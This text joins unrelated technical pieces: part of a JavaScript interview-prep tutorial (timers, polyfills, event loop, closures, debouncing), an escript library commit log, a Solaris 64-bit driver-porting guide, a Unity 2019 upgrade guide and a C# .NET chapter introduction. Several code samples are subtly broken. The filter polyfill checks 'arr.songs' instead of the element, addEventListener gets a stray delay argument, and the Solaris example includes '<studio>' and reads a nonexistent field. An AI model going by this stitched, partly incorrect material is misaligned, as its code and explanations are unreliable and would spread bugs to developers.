Here, "Manu" is logged after 2 seconds.
setInterval()
This method calls a function over and over again within a specific interval of time.
setInterval(function () { console.log("Manu"); }, 2000);
Here, "Manu" is printed every 2 seconds.
clearInterval() is used to stop the setInterval() method.
Output Based Questions on Timers:
console.log("1"); setTimeout(() => { console.log("2"); }, 0); console.log("3"); //Answer: "1" "3" "2"
// interviewer: what will the following code output? const arr = [10, 12, 15, 21]; for (var i = 0; i < arr.length; i++) { setTimeout(function () { console.log("Index: " + i + ", element: " + arr[i]); }, 3000); } // Output: '4 undefined' Printed 4 times.
In the above question:
- Loop is executed and initial conditions are checked.
- setTimeout() is not called -> defered to call stack(more on event loop later)
ivalue is incremented and keeps on iterating.
- Loop breaks,
i= 4 and finally setTimeout() function is executed.
- Since
i= 4, Index: 4 is printed and since
arr[4]does not exist,
undefinedis printed.
- This executes for 4 times since the setTimeout() was called 4 times.
Polyfills
A polyfill is a piece of code (usually JavaScript on the Web) used to provide modern functionality on older browsers that do not natively support it.
For Example, The interviewer might ask you to implement your own
text-shadow from scratch property or some property which is not supported by old browsers.
Most commonly asked function implementations are: map(), forEach(), filter(), reduce(), bind()
Implementing forEach() from scratch
Array.prototype.myForEach = function (callback) { // callback here is the callback function // which actual .forEach() function accepts for (var i = 0; i < this.length; i++) { callback(this[i], i, this); // currentValue, index, array } }; let arr = ["Moosetape", "BDFU", "Godzilla"]; arr.myForEach((item) => console.log(item));
Implementing map() from scratch
Array.prototype.myMap = function (callback) { var arr = []; // since, we need to return an array for (var i = 0; i < this.length; i++) { arr.push(callback(this[i], i, this)); // pushing currentValue, index, array } return arr; // finally returning the array }; let arr = ["Moosetape", "BDFU", "Godzilla"]; const result = arr.myMap((item) => console.log(item));
Implementing filter() from scratch
Array.prototype.myFilter = function (callback, context) { arr = []; for (var i = 0; i < this.length; i++) { if (callback.call(context, this[i], i, this)) { arr.push(this[i]); } } return arr; }; let arr = [ { name: "Moosetape", songs: 20 }, { name: "BDFU", songs: 7 }, { name: "Godzilla", songs: 11 }, ]; arr.myFilter(function (album) { return arr.songs > 11; // providing the context here });
Implementing reduce() from scratch
Array.prototype.myReduce = function (callback, initialValue) { var accumulator = initialValue === undefined ? undefined : initialValue; for (var i = 0; i < this.length; i++) { if (accumulator !== undefined) { accumulator = callback.call(undefined, accumulator, this[i], i, this); } else { accumulator = this[i]; } } return accumulator; }; let arr = ["Moosetape", "BDFU", "Godzilla"]; let results = arr.myReduce(function (a, b) { return a + " " + b; }, "Tape - "); console.log(results);
Implementing bind() from scratch
let name = { first: "Sidhu", last: "Moosewala", }; let display = function () { console.log(`${this.first} ${this.last}`); }; Function.prototype.myBind = function (...args) { // this -> display let obj = this; return function () { obj.call(args[0]); }; }; let displayMe = display.myBind(name); displayMe(); // Sidhu Moosewala
Event Loop
This is a big one. 🥺
The event loop's job is to look at the stack and look at the task queue. If the stack is empty, it takes the first thing on the queue and pushed it on to the stack.
Now what does this even mean? Let's have a look.
Javascript is a
Single-Threaded non-blocking asynchronous concurrent language.
What makes JavaScript special is the addition things that the browser provides (Web APIs, Callback Queues and the event loop). But Natively, JavaScript just has 2 things, i.e. Heaps and Call Stack.
- Call Stack: A data Structure where function calls get stacked
- Heap: A Memory area from where the memory is allocated to processes.
Now, We need to make sure the code that we are writing is non-blocking. Non-blocking essentially means that the code is not stopping the components to wait or render for some other request.
Example:
Consider this piece of code:
function third(a, b) { return a + b; } function second(n) { return third(n, n); } function first() { var element = second(7); console.log(element); } first();
Iterating over the Code:
main()function is called natively by Javascript, it gets pushed on to the call stack.
main()calls
first()method,
first()method gets pushed onto the call stack.
first()function calls the
second()function,
second()function gets onto the call stack.
second()function calls the
third()function,
third()function gets onto the call stack.
third()function executes and returns
a + b. After that, it gets popped off the stack.
- Similarly, everything gets popped off the stack.
This stacking and removing from the stack can be blocked by some bad code that we write, or for that matter, some time consuming API calls can slow down the process (async code). To cater that, we have web APIs. Let's take an example.
console.log("Event Loop"); setTimeout(function () { console.log("is awesome"); }, 1000); console.log("but sometimes confusing"); /* output: Event Loop but sometimes confusing is awesome. */
Now why is that? Let's understand.
main()is called, gets onto the call stack.
main()calls
console.log()method, it gets on top of the stack.
console.log()gets executed, it gets removed from the top of the stack. We move on to the next line. -> 'Event Loop' is printed.
setTimeout()is called. Since setTimeout() is an
asynchronouspiece of code, it gets removed from the stack and get into the Web APIs module. In Web APIs module, the timer for
setTimeout()runs. When the timer for
setTimeout()is over, the
Callbackfunction of the setTimeout() gets into the
Callback Queue.
- While this is happening, The call stack is empty and it keeps on executing the lines.
console.log()is pushed onto the stack and executed. -> 'But Sometimes Confusing' is printed
- Now since the execution is done completely and the function block is finished. Event loop checks the stack.
- If the stack is empty, event loop picks the first available function from the
Callback Queueand pushed it into the stack.
- Here,
Callbackfor
setTimeout()gets pushed onto the stack i.e.
console.log(). -> 'is awesome' is printed.
Event loop's task is to essentially check the stack, if it is empty, put the callback queue's function on the stack and repeat this entire process.
Event loop in itself is another article, For more information, watch this video full of swag
Promises
A promise is an object that may produce a single value some time in the future: either a resolved value, or a reason that it’s not resolved (e.g., a network error occurred).
States of a promise:
- fulfilled - When the promise is
resolve()ed.
- rejected - When the promises is
reject()ed.
- pending - When the promise is still processing.
const wait = (time) => new Promise((resolve) => setTimeout(resolve, time)); wait(3000) .then(() => console.log("Hi Paaji!")) .catch((err) => console.log(err)); // 'Hi Paaji!'
We can chain
.then() and
.catch() methods on promises.
Async / Await
The advantage of an async function only becomes apparent when you combine it with the await keyword. await only works inside async functions within regular JavaScript code, however it can be used on its own with JavaScript modules.
Long story short:
- Async Await can be used to handle asynchronous code in a much cleaner and smaller way.
- The return value of Async functions are always Promises that can be
awaited and results can be generated.
// returns a promise let hello = async () => { return "Hello"; }; // Chain a .then() to get the value hello().then((value) => console.log(value));
let apiCall = async () => { const response = await fetch("someapi.cpom/json"); if (!response.ok) throw new Error("Code Failed, Boo!"); return response; }; apiCall();
Closures.
Before undersanding closures, lets understand
Lexical Scope
function start() { var name = "Manu"; // name is a local variable created by start() function displayName() { // displayName() is the inner function, a `closure` alert(name); // use variable declared in the parent function } displayName(); } start(); // "Manu" alert box is displayed
Here:
displayName()method is an inner function, which is only available inside the body of
start()method
- Interesting fact is that the method
displayName()knows that there is a variable
nameOUTSIDE of the
displayName()'s body. This is because inner functions have access to the parent's variables and methods.
Coming back to
Closures
function startClosure() { var name = "Manu"; function displayName() { alert(name); } return displayName; } var fun = startClosure(); fun(); // "Manu" is alerted
Precisely, A closure is the combination of a function and the lexical environment within which that function was declared.
Which means, That an inner function will know the it's surroundings, i.e. the parent scope and the collective
thing is called a closure.
Here, The instance of displayName maintains a reference to its lexical environment, within which the variable name exists. For this reason, when fun() is invoked, the variable name remains available for use, and "Manu" is passed to alert.
Prototypes
JavaScript is often described as a prototype-based language — to provide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties from.
Javascript implicitly / internally puts the
__proto__ object. When we craete anything like a function or an object, Javascript add the proto object to it with properties and methods.
Prototypal Inheritance
In Javascript, we achieve OOPs inheritance through Prototypes.
let firstObject = { name: "Manu", programming: "Next.js", age: 21, welcome: function () { console.log(`${this.name} write in ${this.programming}`); }, }; let secondObject = { name: "Leo", age: 24, }; secondObject.__proto__ = firstObject; console.log(secondObject.programming);
Debouncing
Debouncing precisely is delaying some operation so that it is not called on every iteration instantly.
Explaining the above statement: Debouce is used when one wants to delay some operation with some specific amount of time.
Lets take an example:
Codesandbox:
Manu Arora's create username debounce example
import "./styles.css"; let inputEle = document.getElementById("inputElement"); let username = document.getElementById("username"); let generateUsername = (e) => { username.innerHTML = e.target.value.split(" ").join("-"); }; inputEle.addEventListener("keyup", generateUsername, 300);
The above code takes in names, splits and joins with a hyphen, and prints the new string as a username.
The native behaviour will be to spit out on every keyup, which is browser heavy task if implemented in a large scale system.
Instead, what can be done is we can have debouncing in place. Debounce method takes in a delay, which infact, will delay the time between each keystroke (here, it'll be 300 ms) and only then the next request will be processed.
import "./styles.css"; let inputEle = document.getElementById("inputElement"); let username = document.getElementById("username"); let generateUsername = (e) => { username.innerHTML = e.target.value.split(" ").join("-"); }; let debounce = function (cb, delay) { let timer; return function () { let context = this; clearTimeout(timer); // to clear any previous timeouts - no accumulating garbage here in my world! ;) timer = setTimeout(() => { cb.apply(context, arguments); }, delay); }; }; inputEle.addEventListener("keyup", debounce(generateUsername, 300));
We also
clearInterval() to avoid unnecessary memory leaks.
Long story short: GetUsernames will be called on keyup - but only if there is a 300ms delay between each keystroke.
Phew! That was one long article.
That's it for this blog, if you liked it please share it on Twitter or any other social media platforms.
Don't forget to look at the Resources and Snippets page where I regularly update cool stuff for developers to make their lives easier.
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Directory Listing
i broke the other end. Hope this fixes it..
fixed deprecation warning
increase GS sweeps once more.
slightly better error messages on test failure in pdetools.
re-increase num GS sweeps in test now that it succeeds with paso. Trilinos requires this.
don't test REC_ILU which has never been supported (and paso silently fell back to Jacobi). Test ILUT instead which is not supported by paso either but Trilinos.
ditto.
missed these..
adding tests to tagged versions
Making Lazy and the rest of escript use the same operator enumeration
Test fixes and more tests
Fix to prevent complex tests running with lazy.
Data() constructor.
Complex fixes and a small number of tests
Complex changes Testing reveals holes in the complex code big enough to drive a truck through. This commit means you will however need a slightly smaller truck
now refraining from adding all libraries to all targets. So we don't link unnecessary libraries, e.g. escript does not need parmetis etc...
last round of namespacing defines.
try to fix another warning.
more namespacing of defines.
Eigenvectors for _some_ complex cases escript is cowardly refusing to compute eigenvalues for 3x3 complex matricies because the 3x3 alg has < in it.
starting to 'namespace' our way too generic defines...
new configure check for working complex std::acos
Swap axes for complex
transpose for complex
trace for non-constant data
trace() now supports complex
Bug fix and test for complex NaN replacement
Hopefully fix OSX problem.
Rename nonsymmetric to antisymmetric in tests
Fix incorrect behaviour of anti-symmetric for scalars. Also add hermitian and antihermitian. Very quick check looks ok but really not tested yet.
Making a macro
Preliminary to lazy cleanup Lazy is not templated for complex as yet but hopefully we can relieve the dependency on the briarpatch of the current methods.
Enable alternate path. Let's see what the buildbot thinks of it.
Bug fixes and function for unary ops. This commit does not actually switch the alternate functionality on. I'll do that separately
It turns out that explict can be helpful.
added a generic baseclass for PDE solver tests which is used by all domains. Renamed test files to prepare for Trilinos merge at some point.
Modify TestDomain to generate correct coordinates in MPI. This was breaking testing because the coords were inputs to the testing function.
Added more tests for + operator. This time we test inplace updates
Fixing testing. Pulling alernative binary op skeleton.
Additional test for various combinations of Data It turns out we didn't have good enough tests for binary operators which try various combinations of types. This adds a new test and extends TestDomain to allow control of tags in use (and mapping of tags to samples)
fixing a few more POSIX_C redefinition warnings.
Fixed another exception hang case. Again this didn't trigger before because we didn't run with >10 ranks..
Enable hasNaN and replaceNaN for complex
Enabling more ops for complex Commenting out the templated C_TensorUnaryOperation. Want to remove the equivalent binary versions as well
Enabling neg and exp for complex
don't check for exception string contents..
removed more useless #defines.
Hopefully fix the numpy/py3 bug
Support for setting data point values....
Do unary expanded ops in a single chunk for each thread to avoid multiple switches.
basically a no-op but c++11 rightfully complains that we're trying to operator<< a stringstream object.
Fixing some lintian objections.
Provide access to splitworld via the escript package
Fixed a bug in saveDataCSV where mask could be on a different domain and/or function space than the data objects.
fix for non-MPI build
DataExpanded: avoid lockups in dump() due to unnecessary MPI comms. Also code cleanup.
Cleanup in escript utils and use FileWriter to avoid code duplication. Also added sanity checks to FileWriter.
fix for Bug #326
Fixed typo in datamanager.
x!=None -> x is not None fixes
index_t fixes in DataExpanded.
added bessel function of first and second kind
pushing release to trunk
Changing scoping for splitworld internals. Experiments on hiding them to follow later.
made namespace use consistent between header and cpp to help poor doxygen find the right functions.
correcting exception message text
Fixing tests to account for MultiBrick's non-MPI ness
some minor cleanup of splitworlds
Avoid aliased buffer
Some unit test updates
fixing doxygen warnings
Now we consider MPI_COMM_NULL in the MPI wrapper constructor Added checks to see if reductions can clash Make use of our MPI wrapper Remove the unused "active" param. Added a missing const
no more unexpected multi-process DIRECT exceptions in tests, no more unexpected direct solver missing exceptions in tests
Removing debug output. SUM variables now reset properly. More forms of reduction supported.
Bug fixes exposed by unit tests
More informative error messages for people acting on DataEmpty
added other solver methods. Also made error message more clear
trying to set a DIRECT solver method without libsuitesparse throws an exception
making the pdetools.Defect class abstract methods more obvious in documentation
Further progress but still not right
some typo and whitespace fixes
SUM type variables, no longer accumulate forever
further
turns out the consts are important
adding set only reducer
adjusted dict->list conversions to be deterministic under python3 (fixes ranks operating on elements in different orders)
fixing tabs and updating options file
further
More
Fixed a few gcc 5 warnings.
Small improvements towards split inversion
Fix unintended revert in copyright
Now with correct priorities for alternatives, paths to overlord binary, other fixes
Fixing institution name to comply with policy
sphinx now builds python doco including module-level docstrings and class __init__ docstrings, also cleared up some doco errors and added multires documentation
altering NullDomain's reported function space type code to avoid collisions with real domains
That python define problem
Fixed indenting and accounted for py3 RuntimeException not having .message
More split world functions
Improving error message on interpolation failure.
do not expose 'duv'.
test dependencies now use desired build path as check
hopefully fix mac problem
fixing broken header guard
fixing a missing build dependency of pythonMPI existing before individual tests are run
Added forgotten files
fixed linking problem
Renaming the reducer root include and adding missing files
splitting reducer files
fixing a memory leak in the new MPI wrapper, along with some comment updating to satisfy doxygen a bit better
Stage 1 of removing escriptDataC
passing tests on badger
Fix for one of the splitworld test issues
Fix some more. Make savanna warnings into errors.
fixes I forgot to commit
Removing DBADPYTHONMACRO workarounds
Passes some tests. Still has bug
removing permanently true comparison that blocks compilation with -Werror=type-limits.
Updating all the dates
Changes to subworlds
removed random file opens
0 rather than 1 equals error for gmshpy
Fixing intel warning
Adding local value import. Remote import still to do
Fix build error and add comment
Tweaks to parallel
Make tests write to the correct directories
Fixing some unit test failures on osx
release changes
True location of runMPIProgram
new, single interface to gmsh in escriptcore used by pycad and downunder.
make MPI build work again.
Changes to keep clang happy
working around oddness when catching ImportErrors after catching a propagated ImportError, cleaning up last of finley examples without domain checks
version number hack to allow older versions to run
Fix for bug#284. Added dummify=False to lambdify calls.
Fixed array overflow issue#285
sphinxifying older style python doco, including order shifting of module doc
support for supressing doco subpackages. fiddling with one of the imports to try to reduce the number of places where Data appears. Seriously it looks like we have 8 different Data classes
fix extraction script to pick up more classes. Stop models from importing escript into its namespace
Trying....
nonuniformInterolate and Slope added. Doco later
Adding some linebreaks
Unit tests for binary install with no scons and no source tree. Script for installing and testing a .deb within a chroot.
Tweaked scons files so tests work even when specifying non-absolute build_dir.
missing file.
RandomData added
some clarification on lumping
Pass dictionary of data objects to EscriptDataset as kwargs in DataManager.
Fix to unit tests.
some print statements removed.
Removing dead files.
bug fixed in RILU and test modified..
test fix
Inject the DataManager class to the escript namespace.
weipa's saveVTK now stores metadata schema & string as expected.
bug in ILU0 fixed.
.
Switched the build_dir keyword param to variant_dir. Should fix issue 525...
test is added for selecting standard coarsening.
Dodge problem in NoPDE.
Correcting some doxygen errors
Fixed bug in Locator
Fixed compile warning on Mac
some fixes in wave.py example
Added maxGlobalDataPoint. Not currently unit tested..
some more work toward numpy)
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Well Known ioctl Interfaces
D. Console Frame Buffer Drivers
The sections below provide information on converting drivers to run in a 64-bit environment. Driver writers might need to perform one or more of the following tasks:
Use fixed-width types for hardware registers.
Use fixed-width common access functions.
Check and extend use of derived types.
Check changed fields within DDI data structures.
Check changed arguments of DDI functions.
Modify the driver entry points that handle user data, where needed.
Check structures that use 64-bit long types on x86 platforms.
These steps are explained in detail below.
After each step is complete, fix all compiler warnings, and use lint to look for other problems. The SC5.0 (or newer) version of lint should be used with -Xarch=v9 and -errchk=longptr64 specified to find 64-bit problems. See the notes on using and interpreting the output of lint in the Solaris 64-bit Developer’s Guide.
Note - Do not ignore compilation warnings during conversion for LP64. Warnings that were safe to ignore previously in the ILP32 environment might now indicate a more serious problem.
After all the steps are complete, compile and test the driver as both a 32-bit and 64-bit module.
Many device drivers that manipulate hardware devices use C data structures to describe the layout of the hardware. In the LP64 data model, data structures that use long or unsigned long to define hardware registers are almost certainly incorrect, because long is now a 64-bit quantity. Start by including <sys/inttypes.h>, and update this class of data structure to use int32_t or uint32_t instead of long for 32-bit device data. This approach preserves the binary layout of 32-bit data structures. For example, change:
struct device_regs { ulong_t addr; uint_t count; }; /* Only works for ILP32 compilation */
to:
struct device_regs { uint32_t addr; uint32_t count; }; /* Works for any data model */
The Solaris DDI allows device registers to be accessed by access functions for portability to multiple platforms. Previously, the DDI common access functions specified the size of data in terms of bytes, words, and so on. For example, ddi_getl(9F) is used to access 32-bit quantities. This function is not available in the 64-bit DDI environment, and has been replaced by versions of the function that specify the number of bits to be acted on.
These routines were added to the 32-bit kernel in the Solaris 2.6 operating environment, to enable their early adoption by driver writers. For example, to be portable to both 32-bit and 64-bit kernels, the driver must use ddi_get32(9F) to access 32-bit data rather than ddi_getl(9F).
All common access routines are replaced by their fixed-width equivalents. See the ddi_get8(9F), ddi_put8(9F), ddi_rep_get8(9F), and ddi_rep_put8(9F) man pages for details., daddr_t, dev_t, ino_t, intptr_t, off_t, size_t, ssize_t, time_t, uintptr_t, and timeout_id_t.
When designing drivers that use these derived types, pay particular attention to the use of these types, particularly if the drivers are assigning these values to variables of another derived type, such as a fixed-width type.
The data types of some of the fields within DDI data structures, such as buf(9S), have been changed. Drivers that use these data structures should make sure that these fields are being used appropriately. The data structures and the fields that were changed in a significant way are listed below.32_t dmac_address; /* was type unsigned long */ size_t dmac_size; /* was type u_int */
The ddi_dma_cookie(9S) structure contains a 32-bit DMA address, so a fixed-width data type has been used to define the address. The size has been redefined as size_t.
uint_t sts_rqpkt_state; /* was type u_long */ uint_t sts_rqpkt_statistics; /* was type u_long */
These fields in the structure do not need to grow and have been redefined as 32-bit quantities.
uint_t pkt_flags; /* was type u_long */ int pkt_time; /* was type long */ ssize_t pkt_resid; /* was type long */ uint_t pkt_state; /* was type u_long */ uint_t pkt_statistics; /* was type u_long */
Because the pkt_flags, pkt_state, and pkt_statistics fields in the scsi_pkt(9S) structure do not need to grow, these fields have been redefined as 32-bit integers. The data transfer size pkt_resid field does grow and has been redefined as ssize_t.
This *.
If a device driver shares data structures that contain longs or pointers with a 32-bit application using ioctl(9E), devmap(9E), or mmap(9E), and the driver is recompiled for a 64-bit kernel, the binary layout of data structures will be incompatible. If a field is currently defined in terms of type long and 64-bit data items are not used, change the data structure to use data types that remain as 32-bit quantities (int and unsigned int). Otherwise, the driver needs to be aware of the different structure shapes for ILP32 and LP64 and determine whether a model mismatch between the application and the kernel has occurred.
To handle potential data model differences, the ioctl(), devmap(), and mmap() driver entry points, which interact directly with user applications, need to be written to determine whether the argument came from an application using the same data model as the kernel.
To determine whether a model mismatch exists between the application and the driver, the driver uses the FMODELS mask to determine the model type from the ioctl() mode argument. The following values are OR-ed into mode to identify the application data model:
FLP64 – Application uses the LP64 data model
FILP32 – Application uses the ILP32 data model
The code examples in I/O Control Support for 64-Bit Capable Device Drivers show how this situation can be handled using ddi_model_convert_from(9F).
To enable a 64-bit driver and a 32-bit application to share memory, the binary layout generated by the 64-bit driver must be the same as the layout consumed by the 32-bit application. The mapped memory being exported to the application might need to contain data-model-dependent data structures.
Few memory-mapped devices face this problem because the device registers do not change size when the kernel data model changes. However, some pseudo-devices that export mappings to the user address space might want to export different data structures to ILP32 or LP64 applications. To determine whether a data model mismatch has occurred, devmap(9E) uses the model parameter to describe the data model expected by the application. The model parameter is set to one of the following values:
DDI_MODEL_ILP32 – The application uses the ILP32 data model
DDI_MODEL_LP64 – The application uses the LP64 data model
The model parameter can be passed untranslated to the ddi_model_convert_from(9F) routine or to STRUCT_INIT(). See 32-bit and 64-bit Data Structure Macros.
Because mmap(9E) does not have a parameter that can be used to pass data model information, the driver's mmap(9E) entry point can be written to use the new DDI function ddi_model_convert_from() and devmap(), the model bits can be passed to ddi_model_convert_from(9F) to determine whether data conversion is necessary, or the model can be handed to STRUCT_INIT().
Alternatively, migrate the device driver to support the devmap(9E) entry point.
You should carefully check structures that use 64-bit long types, such as uint64_t, on the x86 platforms. The alignment and size can differ between compilation in 32-bit mode versus a 64-bit mode. Consider the following example.
#include <studio> #include <sys> struct myTestStructure { uint32_t my1stInteger; uint64_t my2ndInteger; }; main() { struct myTestStructure a; printf("sizeof myTestStructure is: %d\n", sizeof(a)); printf("offset to my2ndInteger is: %d\n", (uintptr_t)&a.bar - (uintptr_t)&a); }
On a 32-bit system, this example displays the following results:
sizeof myTestStructure is: 12 offset to my2ndInteger is: 4
Conversely, on a 64-bit system, this example displays the following results:
sizeof myTestStructure is: 16 offset to my2ndInteger is: 8
Thus, the 32-bit application and the 64-bit application view the structure differently. As a result, trying to make the same structure work in both a 32-bit and 64-bit environment can cause problems. This situation occurs often, particularly in situations where structures are passed into and out of the kernel through ioctl() calls.
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Note: Follow the advice in this section in release order. For example, if you need to upgrade your project from 2018 to 2020, read the 2019 upgrade guides to see if there are any changes that you need to make before you read the 2020 upgrade guides.
This page lists changes in the Unity 2019 versions which might affect existing projects when you upgrade from any Unity 2018 version to 2019 LTS. If you’re upgrading from a Unity 2017 version, first see the Upgrading to Unity 2018 LTS guide.
Note that 2019 LTS is also known as 2019.4.
The Lightweight Render Pipeline (LWRP) is now the Universal Render Pipeline (URP) in Unity 2019.3 and later.
If your Project uses LWRP, you will need to upgrade your Project to use URP. For a step by step guide to the upgrade process, see the LWRP to URP upgrade guide.
ShaderUtil.ClearShaderErrors() is replaced by
ShaderUtil.ClearShaderMessages() for naming consistency and is now marked as obsolete. Your existing Project scriptsA piece of code that allows you to create your own Components, trigger game events, modify Component properties over time and respond to user input in any way you like. More info
See in Glossary are automatically upgraded when you open them in Unity 2019.4.
Animation C# jobs are moving out of experimental namespace from UnityEngine.Experimental.Animations to UnityEngine.Animations.
Unity 2019.4 automatically updates most of your scripts except for scripts with the following Animator jobs extension methods:
You have to manually add using
UnityEngine.Animations; statements to those scripts.
The undocumented
RenderPipeline.beginCameraRendering and
RenderPipeline.beginFrameRendering events have been removed. You should replace these with events from the
RenderPipelineManager class.
The RenderPipeline static protected functions
BeginFrameRendering and
BeginCameraRendering have been removed. You must replace these with the signature that takes a
ScriptableRenderContext in a parameter. Additionally there are now
EndCameraRendering and
EndFrameRendering methods that you must call as well.
AsyncLoad is now obsolete. Use Async.LoadAssetAsync instead.
The new Asset Import Pipeline is available with Unity 2019.3 and later. If you have an existing project, you can upgrade to the new Asset Import Pipeline using the Project Settings Window in the Editor:. Projects that you’ve created in Unity 2019.2 or older will still use.
When creating a new Project with Unity 2019.3 or newer, the new Asset Import Pipeline has become the new default way to work. All new projects you create will be using it.
Multiple versions of the same asset are cached in the Library folder
See in Glossary.
Caching and the Unity Accelerator
Most of the importers have had significant work done to them in order to improve their determinsm and have a positive effect on caching. This means that if the Unity Accelerator is used, the import result will be uploaded to a centralized storage where other machines can connect to and benefit from the work done for the same Asset on a different machine. Assets with dynamic dependencies can be cached now (e.g. nested prefabs, shaders, etc.). For a more comprehensive list of Importers and their associated files, check out the new AssetDatabase Manual page
Caching of Scripted Importers:
ScriptedImporters and importers with registered dependencies were not cached with the old Asset Import Pipeline.
Old Behaviour
With the old Asset Import Pipeline, the switching of platforms invalidated all imports as the Import Result was GUID based, thus switching a platform would overwrite the import result every time.
New Behaviour
In the new Asset Import Pipeline, switching platforms does not invalidate imports as the File on disk representing the import result is a hash of its own contents, thus ensuring that when switching platform the contents are different and result in a new file, thus keeping both versions of the Import Result around and simply switching between one or another, without having to import anything.
In the old Asset Import Pipeline, the number of calls to the
OnPostProcessAllAssets function was non-deterministic. Meaning that this function could be called once, or multiple times, for the same changes. With the new Asset Import Pipeline, there will be a single call to
OnPostProcessAllAssets for detected Script changes (.cs files), and one for non-script changes (think .png, .fbx, .wav files).
In the old Asset Import Pipeline, one could trigger a compilation and chain going into play mode while a compilation was happening. This was a big time saver in certain situations, having non-synchronous compilation could lead to non-deterministic results. With the new Asset Import Pipeline, this has been changed so that the Asset Import Pipeline drives the majority of Script Compilation, and as such it requires a deterministic approach, thus locking up the editor until Script Compilation completes.
The TilemapA GameObject that allows you to quickly create 2D levels using tiles and a grid overlay. More info
See in Glossary Editor is now a package. This package is automatically installed in new Unity Projects created with the 2D Project template. For more information on installing a package see Adding and removing packages.
All public classes have been moved to the UnityEditor.Tilemaps namespace. Unity compiles your scripts that reference these classes into the “Unity.2D.Tilemap.Editor” Assembly Definition Asset. These are:
Unity will attempt to update the relevant Tilemap
using statements in your scripts but please check and change if needed.
If you are referencing the Tilemap Tooling classes with scripts which are part of an Assembly Definition, you should add the “Unity.2D.Tilemap.Editor” Assembly Definition as an Assembly Definition Reference under your Assembly Definition. Unity may have set this automatically for you but please change it if it hasn’t.
If you have precompiled assemblies referencing the Tilemap Tooling classes from a previous version of Unity, you will encounter issues when using them due to these changes. If possible, please update and recompile these assemblies against the new Tilemap Tooling assemblies.
If you have precompiled assemblies referencing the Tilemap Tooling classes from a previous version of Unity, you need to update and recompile these assemblies to reference the new Tilemap Tooling assemblies.
Examples of these issues when importing the precompiled assembly are (as errors in the Console window):
Failed to extract {Class in Precompiled Assembly} class of base type UnityEditor.GridBrush when inspecting {Precompiled Assembly} Unloading broken assembly {Precompiled Assembly}, this assembly can cause crashes in the runtime
These errors can be caused by inheriting from one of the Tilemap Tooling classes such as the GridBrush.
Examples of these issues when using the precompiled assembly are (as errors in the Console window):
TypeLoadException: Could not resolve type with token 01000011 (from typeref, class/assembly UnityEditor.GridBrush, UnityEditor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null) Error: Could not load signature of {Method in Precompiled Assembly) due to: Could not resolve type with token 01000011 (from typeref, class/assembly UnityEditor.GridBrush, UnityEditor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null) assembly:UnityEditor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null type:UnityEditor.GridBrush member:(null) signature:<none>
These errors can be caused by creating or calling one of the methods of the Tilemap Tooling classes such as the GridBrush.
Sprite Tooling (Sprite Editor Window) is now a package. For more information on installing a package see Adding and removing packages.
Unity UI (UGUI) is now a package, com.unity.ugui. You can access it from the Package Manager (menu: Window > Package Manager).
Unity UI(User Interface) Allows a user to interact with your application. More info
See in Glossary is a core package that ships with Unity. You do not need to install it in new Projects. When you upgrade existing Unity Projects, created with version 2019.2b1 and earlier, to Unity 2019.2, this package is added automatically. Assembly definitions automatically get a reference to the uGUI assembly. If you install Unity 2019.2 overtop of an older version of Unity, make sure that the GUISystem folder, located in \Editor\Data\UnityExtensions\Unity is removed. Otherwise you might get class redefinition errors. The Unity UI source code is no longer published to BitBucket because Unity provides it with the package. The Unity UI API documentation is no longer in the main Scripting API reference. You can access it from the Scripting API section of the Unity UI package documentation.
See the UI Elements 2019.1 upgrade guide for more information.
The .NET 3.5 Equivalent option for Scripting Runtime Version has been removed. Projects are automatically migrated to use the .NET 4.x Equivalent option when opened in 2019.2.
Prior to 2019.1 Indirect Intensity slider only affected lightmapsA pre-rendered texture that contains the effects of light sources on static objects in the scene. Lightmaps are overlaid on top of scene geometry to create the effect of lighting. More info
See in Glossary when using the Progressive LightmapperA tool in Unity that bakes lightmaps according to the arrangement of lights and geometry in your scene. More info
See in Glossary. For EnlightenA lighting system by Geomerics used in Unity for lightmapping and for Realtime Global Illumination. More info
See in Glossary, it was applied to both light probesLight probes store information about how light passes through space in your scene. A collection of light probes arranged within a given space can improve lighting on moving objects and static LOD scenery within that space. More info
See in Glossary and light maps. Now all backends apply Indirect Intensity value to both lightmaps and light probes. Upon baking the lighting again, you might notice that the probes will appear brighter if the Indirect Intensity value was modified. It is best to Clear Baked Data prior to baking lightmaps again after the upgrade.
The constructor that takes a single string is now obsolete. See the documentation for information on the supported overloads.
Projects made with Unity 2019 LTS require versions macOS 10.12 or Ubuntu 16.04 or later.
The multiplayer high level APIA system for building multiplayer capabilities for Unity games. It is built on top of the lower level transport real-time communication layer, and handles many of the common tasks that are required for multiplayer games. More info
See in Glossary has been moved from an extension to a package. This doesn’t affect the NetworkTransport class (the low level API). All dependencies which were in the Unity engine have been moved to the package. This means the high level API is now independent except for some hooks into which couldn’t be migrated at this time.
Older Projects containing the high level API will have the package automatically added to prevent compiler errors. This does not happen for new Projects and you can add it if required from the Package Manager window. See the multiplayer high level API documentation.
As of 2019.4, Unity no automatically defines
UNITY_ADS. You need to either stop using
UNITY_ADS in your scripts, or create a new custom global #define for it. See the Platform Dependent Compilation page for guidance on how to create a new custom global #define.
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In this chapter we're going to look at the base classes � the vast number of .NET classes that Microsoft has written for you, and also namespaces � the system by which classes are grouped together.
A significant part of the power of the .NET framework comes from the base classes supplied by Microsoft as part of the .NET framework. These classes are all callable from C# and provide the kind of basic functionality that is needed by many applications to perform, amongst other things, basic system, Windows, and file handling tasks. To a large extent the .NET base classes can be seen as replacing the previous Win32 API and a large number of MS-supplied COM components. The base classes are simpler to use, and you can easily derive from them to provide your own specialist classes. You can also use the base classes from any .NET-aware language (calling Win32 API functions from VB was possible but not easy). The types of purposes you can use the base classes to do include:
You can see from the above list that besides giving access to basic Windows operations, the base classes define many useful data types, including strings and collections of data.
The base classes are not, of course, only available to C# programs � they can equally well be accessed from VB, C++ or any other .NET-compliant or (by use of some wrapper objects) COM-aware language, but we will concentrate on C# here.
The aim of this chapter is to give you an overview of the kinds of things you can do using the base classes and how to perform certain common operations. Clearly the scope of the base classes is so vast that we cannot give any kind of comprehensive guide in one chapter � instead we are going to pick on a few common programming tasks and present sample code to demonstrate how you can easily execute those tasks. However we will also show you how you can use the WinCV tool which is supplied with the .NET SDK to explore the base classes for yourself.
The tasks we're going to cover in this chapter include:
Note that we are not covering windowing or data access in this chapter. These areas are important enough to warrant chapters in their own right and are respectively covered in Chapters 8 and 9.
Before we do that though, we need to switch topics for a while and understand how namespaces work in C#, since you need to be able to use and reference namespaces in order to be able to access the base classes.
